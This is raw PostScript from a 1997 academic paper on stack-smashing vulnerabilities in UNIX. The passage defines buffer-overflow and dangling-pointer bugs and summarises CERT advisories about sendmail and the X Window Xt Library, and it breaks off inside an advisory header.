(a)A -0.300 0 (rr)A -0.400 0 (a)A -3.000 0 (y)A 16.000 0 32 (. )W 0.400 0 (S)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A 16.000 0 32 (, )W 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D (o)S 17.300 0 32 -0.300 0 (r )D 0.100 0 (s)A -0.400 0 (c)A -0.300 0 (r)A 0.200 0 (i)A (bb)S 0.200 0 (li)A (n)S 18.000 0 32 -1.000 0 (g )D 0.200 0 (t)A (h)S 17.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 17.000 0 32 (k )W 0.200 0 (i)A 16.900 0 32 0.100 0 (s s)D -0.400 0 (a)A 0.200 0 (i)A 17.000 0 32 (d )W 0.200 0 (t)A 17.000 0 32 (o h)W -0.400 0 (a)A (pp)S -0.400 0 (e)A 17.000 0 32 (n )W -0.200 0 (w)A (h)S -0.400 0 (e)A 17.000 0 32 (n )W 17.400 0 32 -0.400 0 (a )D 16.700 0 32 0.300 0 (C )D -0.300 0 (f)A (un)S -0.400 0 (c)A 0.200 0 (ti)A 17.000 0 32 (on o)W -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1595 M -0.300 0 (r)A (ou)S 0.200 0 (ti)A (n)S 12.400 0 32 -0.400 0 (e )D 0.200 0 (j)A (u)S 0.200 0 (m)A (p)S 11.900 0 32 0.100 0 (s )D 0.200 0 (t)A 13.000 0 32 (o )W 13.400 0 32 -0.400 0 (a )D -0.300 0 (r)A -0.400 0 (a)A (ndo)S 12.800 0 32 0.200 0 (m )D -0.400 0 (a)A (dd)S -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (ss)A 13.000 0 32 (, )W -0.400 0 (a)A 13.000 0 32 (nd ov)W -0.400 0 (e)A -0.300 0 (rr)A (un)S 12.900 0 32 0.100 0 (s )D 13.400 0 32 -0.400 0 (a )D -0.300 0 (f)A 0.200 0 (i)A 1.000 0 (x)A -0.400 0 (e)A (d)S -0.300 0 (-)A 0.100 0 (s)A 0.200 0 (i)A 0.600 0 (z)A 13.400 0 32 -0.400 0 (e )D (bu)S -0.300 0 (ff)A -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (ce)A 0.100 0 (ss)A 0.200 0 (i)A (v)S -0.400 0 (e)A 0.200 0 (l)A 16.000 0 32 -3.000 0 (y )D 0.200 0 (l)A -0.400 0 (a)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1772 M -0.047 0 (input data. This often results in data-dependent bugs that are difficult to spot or isolate.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 1950 M 0.254 0 (2.4 Aliasing/Stale/Dangling Pointer Bug)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 2155 M -0.100 0 (T)A (h)S 0.200 0 (i)A -0.100 0 32 0.100 0 (s )D 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A -0.200 0 32 0.200 0 (m )D (h)S -0.400 0 (a)A -0.100 0 32 0.100 0 (s )D (b)S -0.400 0 (ee)A (n )S 0.200 0 (i)A 1.000 0 32 (n u)W 0.100 0 (s)A 1.400 0 32 -0.400 0 (e )D 0.100 0 (s)A 0.200 0 (i)A (n)S 1.400 0 32 -0.400 0 (ce )D 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D (1960)S 0.900 0 32 0.100 0 (s )D 0.200 0 (i)A 1.000 0 32 (n )W 0.200 0 (t)A (h)S 1.400 0 32 -0.400 0 (e )D -0.200 0 (A)A -2.100 0 (L)A -0.200 0 (GO)A 3.100 0 32 -2.100 0 (L )D -0.400 0 (a)A 1.000 0 32 (nd )W -0.600 0 (F)A -0.200 0 (O)A 0.300 0 (R)A -0.100 0 (T)A 0.300 0 (R)A 1.200 0 32 -0.200 0 (AN )D -0.400 0 (c)A (o)S 0.200 0 (mm)A (un)S 0.200 0 (iti)A -0.400 0 (e)A 0.100 0 (s)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2332 M -0.400 0 (a)A 6.000 0 32 (nd )W 0.200 0 (i)A 5.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A 0.100 0 (s)A -0.400 0 (e)A -0.300 0 (r)A (v)S -0.400 0 (e)A 6.000 0 32 (d )W -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D 6.400 0 32 -0.400 0 (a )D -1.000 0 (g)A -0.300 0 (r)A 6.000 0 32 (oup o)W 6.300 0 32 -0.300 0 (f )D (p)S -0.300 0 (r)A (o)S -1.000 0 (g)A -0.300 0 (r)A -0.400 0 (a)A 0.200 0 (mmi)A (n)S 7.000 0 32 -1.000 0 (g )D -0.400 0 (e)A -0.300 0 (rr)A (o)S -0.300 0 (r)A 6.900 0 32 0.100 0 (s )D 0.200 0 (t)A (h)S -0.400 0 (a)A 6.800 0 32 0.200 0 (t )D -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A 0.100 0 (s)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (i)A 7.000 0 32 (n )W -0.400 0 (c)A (od)S 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 6.800 0 32 0.200 0 (t )D (u)S 0.100 0 (s)A -0.400 0 (e)A 6.900 0 32 0.100 0 (s )D 0.200 0 (m)A (o)S -0.300 0 (r)A 7.400 0 32 -0.400 0 (e )D 0.200 0 (t)A (h)S -0.400 0 (a)A 7.000 0 32 (n on)W -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2509 M -0.400 0 (a)A 0.200 0 (li)A -0.400 0 (a)A 2.900 0 32 0.100 0 (s )D (o)S 3.300 0 32 -0.300 0 (r )D (po)S 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A 3.300 0 32 -0.300 0 (r )D 0.200 0 (t)A 3.000 0 32 (o po)W 0.200 0 (i)A (n)S 2.800 0 32 0.200 0 (t t)D 3.000 0 32 (o )W 3.400 0 32 -0.400 0 (a )D -1.000 0 (g)A 0.200 0 (i)A (v)S -0.400 0 (e)A 3.000 0 32 (n )W -0.400 0 (c)A 3.000 0 32 (hunk o)W 3.300 0 32 -0.300 0 (f )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A -0.400 0 (ca)A 0.200 0 (ll)A 6.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 0.200 0 (ll)A (o)S -0.400 0 (ca)A 0.200 0 (t)A -0.400 0 (e)A 3.000 0 32 (d )W 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A -3.000 0 (y)A 3.000 0 32 (. )W -2.300 0 (I)A 3.000 0 32 (n )W 0.200 0 (t)A (h)S 3.400 0 32 -0.400 0 (e e)D (v)S -0.400 0 (e)A (n)S 3.800 0 32 0.200 0 (t t)D (h)S -0.400 0 (a)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2686 M 0.200 0 (t)A (h)S 9.400 0 32 -0.400 0 (e )D (d)S -3.000 0 (y)A (n)S -0.400 0 (a)A 0.200 0 (mi)A 9.400 0 32 -0.400 0 (c )D 0.200 0 (m)A -0.400 0 (e)A 0.200 0 (m)A (o)S -0.300 0 (r)A 12.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 8.900 0 32 0.100 0 (s )D 0.200 0 (m)A (od)S 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A -0.400 0 (e)A 9.000 0 32 (d u)W 0.100 0 (s)A 0.200 0 (i)A (n)S 10.000 0 32 -1.000 0 (g )D (on)S 9.400 0 32 -0.400 0 (e a)D 0.200 0 (li)A -0.400 0 (a)A 0.100 0 (s)A 9.000 0 32 (, )W -0.400 0 (a)A 9.000 0 32 (nd )W 0.200 0 (t)A (h)S -0.400 0 (e)A 9.000 0 32 (n )W 0.200 0 (l)A -0.400 0 (a)A 0.200 0 (t)A -0.400 0 (e)A 10.300 0 32 -0.300 0 (r r)D -0.400 0 (e)A -0.300 0 (f)A -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (e)A (n)S -0.400 0 (ce)A 10.000 0 32 (d )W 0.200 0 (t)A (h)S -0.300 0 (r)A (ou)S -1.000 0 (g)A 10.000 0 32 (h )W -0.400 0 (a)A (no)S 0.200 0 (t)A (h)S -0.400 0 (e)A -0.300 0 (r)A (,)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 2863 M -0.089 0 (subtle and violent errors can occur.)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_133) cvn F2 133 xF F2_133 Ji 612 3042 M 0.013 0 (3. Stack Smashing publicity)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_117 Ji 612 3277 M 0.040 0 (3.1 Security professionals and the academic community)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3482 M 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A -0.100 0 (T)A 1.000 0 32 (, )W 0.200 0 (t)A (h)S 2.400 0 32 -0.400 0 (e )D 0.300 0 (C)A (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.100 0 (E)A 0.200 0 (m)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A (n)S -0.400 0 (c)A 5.000 0 32 -3.000 0 (y )D 0.300 0 (R)A -0.400 0 (e)A 0.100 0 (s)A (pon)S 0.100 0 (s)A 2.400 0 32 -0.400 0 (e )D -0.100 0 (T)A -0.400 0 (ea)A 1.800 0 32 0.200 0 (m )D 0.300 0 (C)A (oo)S -0.300 0 (r)A (d)S 0.200 0 (i)A (n)S -0.400 0 (a)A 0.200 0 (ti)A 2.000 0 32 (on )W 0.300 0 (C)A -0.400 0 (e)A (n)S 0.200 0 (t)A -0.400 0 (e)A 2.300 0 32 -0.300 0 (r )D -0.400 0 (a)A 1.800 0 32 0.200 0 (t t)D (h)S 2.400 0 32 -0.400 0 (e )D 0.400 0 (S)A (o)S -0.300 0 (f)A 0.200 0 (t)A -0.200 0 (w)A -0.400 0 (a)A -0.300 0 (r)A -0.400 0 (e)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3659 M -0.100 0 (E)A (n)S -1.000 0 (g)A 0.200 0 (i)A (n)S -0.400 0 (ee)A -0.300 0 (r)A 0.200 0 (i)A (n)S 3.000 0 32 -1.000 0 (g )D -2.300 0 (I)A (n)S 0.100 0 (s)A 0.200 0 (tit)A (u)S 0.200 0 (t)A 2.400 0 32 -0.400 0 (e )D (o)S 2.300 0 32 -0.300 0 (f )D 0.300 0 (C)A -0.400 0 (a)A -0.300 0 (r)A (n)S -0.400 0 (e)A -1.000 0 (g)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (e )D 0.100 0 (M)A -0.400 0 (e)A 0.200 0 (ll)A 2.000 0 32 (on )W -0.200 0 (U)A (n)S 0.200 0 (i)A (v)S -0.400 0 (e)A -0.300 0 (r)A 0.100 0 (s)A 0.200 0 (it)A -3.000 0 (y)A 2.000 0 32 (, h)W -0.400 0 (a)A 1.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 0.100 0 (s)A (h)S -0.400 0 (e)A 2.000 0 32 (d )W -2.300 0 (I)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A (n)S -0.400 0 (e)A 0.200 0 (t)A -0.300 0 (-)A 0.100 0 (s)A (p)S -0.400 0 (ec)A 0.200 0 (i)A -0.300 0 (f)A 0.200 0 (i)A 2.400 0 32 -0.400 0 (c c)D (o)S 0.200 0 (m)A (pu)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (r)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3836 M 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 19.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 15.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 15.900 0 32 0.100 0 (s s)D 0.200 0 (i)A (n)S 16.400 0 32 -0.400 0 (ce )D 16.000 0 32 (1988. )W -2.300 0 (I)A 16.000 0 32 (n )W -0.400 0 (e)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (mi)A (n)S 0.200 0 (i)A (n)S 17.000 0 32 -1.000 0 (g )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 16.800 0 32 0.200 0 (t )D 0.100 0 (s)A -0.400 0 (ec)A (u)S -0.300 0 (r)A 0.200 0 (it)A 20.000 0 32 -3.000 0 (y )D 0.200 0 (i)A (n)S -0.400 0 (c)A 0.200 0 (i)A (d)S -0.400 0 (e)A (n)S 16.800 0 32 0.200 0 (t )D -0.400 0 (a)A (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 0.100 0 (s)A 17.000 0 32 (, )W -0.400 0 (a)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4013 M 0.200 0 (t)A -0.300 0 (r)A -0.400 0 (e)A 7.000 0 32 (nd )W -0.400 0 (e)A 0.200 0 (m)A -0.400 0 (e)A -0.300 0 (r)A -1.000 0 (g)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D 0.200 0 (i)A 8.000 0 32 (n )W 0.200 0 (t)A (h)S 8.400 0 32 -0.400 0 (e )D 0.200 0 (t)A -3.000 0 (y)A (p)S 8.400 0 32 -0.400 0 (e )D (o)S 8.300 0 32 -0.300 0 (f )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (iliti)A -0.400 0 (e)A 7.900 0 32 0.100 0 (s )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A -0.400 0 (e)A (d)S 7.800 0 32 0.200 0 (; )D ; : 0 0 4883 6391 rc 0 0 0 sco F6_100 Ji 2795 4013 M -0.100 0 (B)A (u)S 0.200 0 (ff)A -0.400 0 (e)A 7.900 0 32 0.100 0 (r )D (o)S -0.400 0 (ve)A 0.100 0 (r)A 0.200 0 (fl)A (o)S 0.300 0 (w)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3428 4013 M 8.000 0 32 ( )W 0.200 0 (i)A 7.900 0 32 0.100 0 (s )D 8.400 0 32 -0.400 0 (a c)D (o)S 0.200 0 (mm)A 8.000 0 32 (on ph)W -0.300 0 (r)A -0.400 0 (a)A 0.100 0 (s)A 8.400 0 32 -0.400 0 (e )D 0.200 0 (i)A (n)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4190 M 0.200 0 (t)A (h)S -0.400 0 (e)A 0.100 0 (s)A 14.400 0 32 -0.400 0 (e )D -0.300 0 (r)A -0.400 0 (e)A (po)S -0.300 0 (r)A 0.200 0 (t)A 0.100 0 (s)A 14.000 0 32 (. )W -0.200 0 (O)A 14.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 14.400 0 32 -0.400 0 (e a)D (dv)S 0.200 0 (i)A 0.100 0 (s)A (o)S -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 13.900 0 32 0.100 0 (s )D -0.400 0 (a)A (v)S -0.400 0 (a)A 0.200 0 (il)A -0.400 0 (a)A (b)S 0.200 0 (l)A 14.400 0 32 -0.400 0 (e )D 14.000 0 32 (on )W 0.300 0 (C)A -0.100 0 (E)A 0.300 0 (R)A -0.100 0 (T)A -1.000 0 (')A 13.900 0 32 0.100 0 (s )D (pub)S 0.200 0 (li)A 14.400 0 32 -0.400 0 (c a)D -0.300 0 (r)A -0.400 0 (c)A (h)S 0.200 0 (i)A (v)S -0.400 0 (e)A 0.100 0 (s)A 14.000 0 32 (, )W 0.200 0 (t)A (h)S 15.400 0 32 -0.400 0 (e )D -0.300 0 (f)A (o)S 0.200 0 (ll)A (o)S -0.200 0 (w)A 0.200 0 (i)A (n)S 16.000 0 32 -1.000 0 (g )D -0.300 0 (r)A -0.400 0 (ece)A (n)S 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 4367 M -0.039 0 (examples illustrate the proliferation of stack smashing buffer overflows[1]:)A ; LH savelevel1 restore pagesave restore (%%[ Page: 4 ]%%) = %%PageTrailer %%Page: 5 5 %%BeginPageSetup [{ %%BeginFeature: *Duplex %%EndFeature } stopped cleartomark userdict begin /pagesave save def end mysetup concat colspRefresh : 1.000 1.000 1.000 sco 0 0 5100 6600 rf ; userdict begin /savelevel1 save def end %%EndPageSetup : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Bold (F0) cvn 0.904 (Times-Bold) cvn /Type1 T (Times-Bold) cvn mF (F0_83) cvn F0 83 xF F0_83 Ji 612 54 M 0.000 0 (Stack Smashing Vulnerabilities in the UNIX Operating System)A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 3977 54 M 0.337 0 (Page )A ; : 0 0 4883 6391 rc 0 0 0 sco F0_83 Ji 4170 54 M 0.500 0 (5)A ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Roman (F2) cvn 0.892 (Times-Roman) cvn /Type1 T (Times-Roman) cvn mF (F2_83) cvn F2 83 xF F2_83 Ji 2290 6256 M 0.192 0 (May 7, 1997)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2153 1323 M 0.100 0 (CERT example 3.1.a)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_100) cvn F2 100 xF F2_100 Ji 912 1519 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 18.400 0 32 -0.400 0 (e )D (3.1.)S 18.400 0 32 -0.400 0 (a )D (d)S -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 17.900 0 32 0.100 0 (s )D 18.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 21.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 18.000 0 32 (n )W -0.100 0 (E)A -0.300 0 (r)A 0.200 0 (i)A 18.400 0 32 -0.400 0 (c )D -0.200 0 (A)A 0.200 0 (llm)A -0.400 0 (a)A (n)S -0.300 0 (\222)A 17.900 0 32 0.100 0 (s )D ; : 0 0 4883 6391 rc 0 0 0 sco %%IncludeFont: Times-Italic (F5) cvn 0.900 (Times-Italic) cvn /Type1 T (Times-Italic) cvn mF (F5_100) cvn F5 100 xF F5_100 Ji 3235 1519 M 0.100 0 (s)A -0.400 0 (e)A (nd)S -0.200 0 (m)A (a)S 0.200 0 (il)A ; : 3518 1503 1365 76 rc 0 0 0 sco (F5_67) cvn F5 67 xF F5_67 Ji 3596 1503 M 0.500 0 (3)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3630 1519 M 19.000 0 32 (, )W 19.400 0 32 -0.400 0 (a )D (popu)S 0.200 0 (l)A -0.400 0 (a)A 19.300 0 32 -0.300 0 (r )D 0.100 0 (M)A -0.100 0 (T)A -0.200 0 (A)A ; : 4285 1503 598 76 rc 0 0 0 sco (F2_67) cvn F2 67 xF F2_67 Ji 4358 1503 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1696 M (u)S 0.100 0 (s)A -0.400 0 (e)A 6.000 0 32 (d )W -0.300 0 (f)A (o)S 6.300 0 32 -0.300 0 (r )D -0.400 0 (e)A -0.300 0 (-)A 0.200 0 (m)A -0.400 0 (a)A 5.800 0 32 0.200 0 (il )D (d)S -0.400 0 (e)A 0.200 0 (li)A (v)S -0.400 0 (e)A -0.300 0 (r)A 9.000 0 32 -3.000 0 (y )D -0.400 0 (a)A 6.000 0 32 (nd d)W 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (t)A -0.300 0 (r)A 0.200 0 (i)A (bu)S 0.200 0 (ti)A 6.000 0 32 (on. )W -2.300 0 (I)A 6.000 0 32 (n )W -0.300 0 (r)A -0.400 0 (ece)A (n)S 5.800 0 32 0.200 0 (t )D -0.300 0 (r)A -0.400 0 (e)A (v)S 0.200 0 (i)A 0.100 0 (s)A 0.200 0 (i)A (on)S 5.900 0 32 0.100 0 (s )D (o)S 7.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 0.200 0 (i)A 6.900 0 32 0.100 0 (s )D (u)S 0.200 0 (tilit)A -3.000 0 (y)A 7.000 0 32 (, )W 7.400 0 32 -0.400 0 (a )D 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (ac)A 7.000 0 32 (k )W 0.100 0 (s)A 0.200 0 (m)A -0.400 0 (a)A 0.100 0 (s)A (h)S 0.200 0 (i)A (n)S -1.000 0 (g)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 1873 M -0.116 0 (vulnerability exists in the code that performs MIME)A ; : 2619 1857 2264 76 rc 0 0 0 sco F2_67 Ji 2692 1857 M 0.500 0 (5)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 2726 1873 M -0.091 0 ( conversions on e-mail messages.)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_83 Ji 2150 3104 M 0.119 0 (CERT example 3.1.b)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 912 3300 M -0.100 0 (E)A 1.000 0 (x)A -0.400 0 (a)A 0.200 0 (m)A (p)S 0.200 0 (l)A 10.400 0 32 -0.400 0 (e )D 10.000 0 32 (3.1.b d)W -0.400 0 (e)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (il)A 9.900 0 32 0.100 0 (s )D 11.400 0 32 -0.400 0 (a )D (vu)S 0.200 0 (l)A (n)S -0.400 0 (e)A -0.300 0 (r)A -0.400 0 (a)A (b)S 0.200 0 (ilit)A 14.000 0 32 -3.000 0 (y )D 0.200 0 (i)A 11.000 0 32 (n )W 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (O)A (p)S -0.400 0 (e)A 11.000 0 32 (n )W -0.200 0 (G)A -0.300 0 (r)A (oup)S -0.300 0 (\222)A 0.100 0 (s)A ; : 3236 3284 1647 76 rc 0 0 0 sco F2_67 Ji 3309 3284 M 0.500 0 (6)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3343 3300 M 11.000 0 32 ( )W ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 3379 3300 M -0.100 0 (X)A 10.800 0 32 0.200 0 (t )D 0.400 0 (L)A 0.200 0 (i)A (b)S 0.100 0 (r)A (a)S 0.100 0 (r)A -0.400 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 3810 3300 M 11.000 0 32 ( o)W 11.300 0 32 -0.300 0 (f )D 0.200 0 (t)A (h)S 11.400 0 32 -0.400 0 (e )D -0.200 0 (w)A 0.200 0 (i)A (d)S -0.400 0 (e)A 0.200 0 (l)A -3.000 0 (y)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3477 M (u)S 0.100 0 (s)A -0.400 0 (e)A 20.000 0 32 (d )W 20.200 0 32 -0.200 0 (X )D 0.600 0 (W)A 0.200 0 (i)A (ndo)S -0.200 0 (w)A 0.200 0 (i)A (n)S 21.000 0 32 -1.000 0 (g )D 0.400 0 (S)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 0.200 0 (m)A 20.000 0 32 (, )W 21.400 0 32 -0.400 0 (a )D -0.200 0 (GU)A 23.300 0 32 -2.300 0 (I )D 0.200 0 (i)A (n)S 0.200 0 (t)A -0.400 0 (e)A -0.300 0 (rf)A 21.400 0 32 -0.400 0 (ace )D (u)S 0.100 0 (s)A -0.400 0 (e)A 21.000 0 32 (d on )W 0.200 0 (m)A -0.400 0 (a)A (n)S 24.000 0 32 -3.000 0 (y )D -0.200 0 (UN)A -2.300 0 (I)A 21.200 0 32 -0.200 0 (X w)D (o)S -0.300 0 (r)A (k)S 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (a)A 0.200 0 (ti)A (on)S 0.100 0 (s)A (.)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 4010 3477 M 21.000 0 32 ( )W -0.100 0 (T)A (h)S 21.400 0 32 -0.400 0 (e )D ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 4303 3477 M -0.100 0 (X)A 0.200 0 (t)A ; : 0 0 4883 6391 rc 0 0 0 sco F5_100 Ji 612 3654 M 0.400 0 (L)A 0.200 0 (i)A (b)S 0.100 0 (r)A (a)S 0.100 0 (r)A 12.400 0 32 -0.400 0 (y )D ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 955 3654 M 0.200 0 (i)A 11.900 0 32 0.100 0 (s )D 0.200 0 (li)A (nk)S -0.400 0 (e)A 13.000 0 32 (d )W 0.200 0 (i)A 13.000 0 32 (n )W -0.200 0 (w)A 0.200 0 (it)A 13.000 0 32 (h )W 0.200 0 (m)A -0.400 0 (a)A (n)S 16.000 0 32 -3.000 0 (y )D (o)S 0.200 0 (t)A (h)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (b)S 0.200 0 (i)A (n)S -0.400 0 (a)A -0.300 0 (r)A 0.200 0 (i)A -0.400 0 (e)A 12.900 0 32 0.100 0 (s )D 0.200 0 (i)A 13.000 0 32 (n )W 0.200 0 (t)A (h)S 13.400 0 32 -0.400 0 (e )D 13.200 0 32 -0.200 0 (X )D 0.600 0 (W)A 0.200 0 (i)A (ndo)S -0.200 0 (w)A 0.200 0 (i)A (n)S 14.000 0 32 -1.000 0 (g )D 0.400 0 (S)A -3.000 0 (y)A 0.100 0 (s)A 0.200 0 (t)A -0.400 0 (e)A 12.800 0 32 0.200 0 (m; )D -0.400 0 (a)A (n)S 16.000 0 32 -3.000 0 (y )D (nu)S 0.200 0 (m)A (b)S -0.400 0 (e)A 13.300 0 32 -0.300 0 (r )D (o)S -0.300 0 (f)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_100 Ji 612 3831 M -0.142 0 (these programs may be vulnerable to stack smashing holes.)A ; : 522 5365 2880 94 rc 0 0 0 sco F2_83 Ji 612 5365 M 0.250 0 ( )A ; : 1152 5365 2700 94 rc 0 0 0 sco F2_83 Ji 1242 5365 M 0.250 0 ( )A ; 612 5418 N M 1200 4 rr : 0 0 0 sco O ; : 562 5451 4321 53 rc 0 0 0 sco (F2_46) cvn F2 46 xF F2_46 Ji 612 5451 M (3)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5462 M -0.151 0 ( Http://www.sendmail.org)A ; : 0 0 4883 6391 rc 0 0 0 sco (F2_33) cvn F2 33 xF F2_33 Ji 612 5544 M 0.500 0 (4)A ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 629 5547 M 0.176 0 ( Mail Transfer Agent)A ; : 562 5614 4321 53 rc 0 0 0 sco F2_46 Ji 612 5614 M (5)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5625 M -0.018 0 ( Multipurpose Internet Mail Extensions, for more details see RFC 1341)A ; : 562 5693 4321 53 rc 0 0 0 sco F2_46 Ji 612 5693 M (6)S ; : 0 0 4883 6391 rc 0 0 0 sco F2_67 Ji 635 5704 M -0.115 0 ( http://www.opengroup.org/)A ; : 511 647 3982 672 rc 0 0 0 sco %%IncludeFont: Courier-Bold (F11) cvn 0.836 (Courier-Bold) cvn /Type1 T (Courier-Bold) cvn mF (F11_67) cvn F11 67 xF F11_67 Ji 612 661 M -0.200 0 (ftp://info.cert.org/pub/cert_advisories/CA-97.05.sendmail)A ; 586 647 N M 6 6 rr : 0 0 0 sco O ; 586 647 N M 6 6 rr : 0 0 0 sco O ; 592 647 N M 3820 6 rr : 0 0 0 sco O ; 4412 647 N M 6 6 rr : 0 0 0 sco O ; 4412 647 N M 6 6 rr : 0 0 0 sco O ; 586 653 N M 6 84 rr : 0 0 0 sco O ; 4412 653 N M 6 84 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco %%IncludeFont: Courier (F13) cvn 0.791 (Courier) cvn /Type1 T (Courier) cvn mF (F13_67) cvn F13 67 xF F13_67 Ji 612 737 M -0.200 0 (======================================================================)A ; 586 737 N M 6 71 rr : 0 0 0 sco O ; 4412 737 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 808 M -0.200 0 (CERT\(sm\) Advisory CA-97.05)A ; 586 808 N M 6 71 rr : 0 0 0 sco O ; 4412 808 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 879 M -0.200 0 (Original issue date: January 28, 1997)A ; 586 879 N M 6 71 rr : 0 0 0 sco O ; 4412 879 N M 6 71 rr : 0 0 0 sco O ; : 511 647 3982 672 rc 0 0 0 sco F13_67 Ji 612 950 M 